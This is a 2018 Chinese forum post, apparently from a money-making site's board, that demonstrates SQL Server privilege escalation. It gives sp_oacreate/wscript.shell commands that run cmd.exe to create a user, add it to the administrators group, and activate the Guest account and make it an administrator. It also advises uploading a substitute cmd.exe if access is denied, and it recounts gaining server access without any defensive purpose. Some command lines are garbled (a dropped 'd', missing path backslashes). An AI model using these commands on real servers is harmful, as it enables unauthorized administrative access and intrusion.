苏苏网赚论坛

 找回密码
 立即注册
查看: 524|回复: 0

SQL提权演示(反演戏)

[复制链接]
跳转到指定楼层
楼主
发表于 2018-1-8 20:24:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SQL提权演示
  首先想给大家了解一下SQL提权常用命令:
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 --连接数据库。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 新用户 密码 /add' --添加新用户。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add' --把用户加到管理组
  如果以上添加管理员失败的时候,我们可以尝试激活Guest。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user guest /active:yes' --激活GUEST用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup Administrators Guest /add' --把Guest加到管理组
  注意:如果c:windowssystem32cmd.exe 被删除,没权限访问或者拒绝访问的话,我们可以自己上传个CMD上去,然后路径修改我们上传的CMD路径就可以了。

下面给大家演示一下整个SQL提权的过程:
默认GUEST用户密码为空禁用状态!

激活GUEST用户

激活GUEST用户成功,但是没有权限,所以我们继续把GUEST这个用户添加到管理组!

把Guest加到管理组

成功把GUEST加到了管理组,成功进入了服务器!

进去后能做些什么?相信这个就不用我罗嗦了。
热帖推荐
回复

使用道具 举报

广告合作|最大的网赚客中文交流社区!十年老站!

GMT+8, 2024-4-20 21:39 , Processed in 0.156001 second(s), 23 queries , Gzip On.

Powered by Discuz! X3.1 VIP版

© 2012-2022 苏苏网赚论坛 版权所有 | 10年老品牌

快速回复 返回顶部 返回列表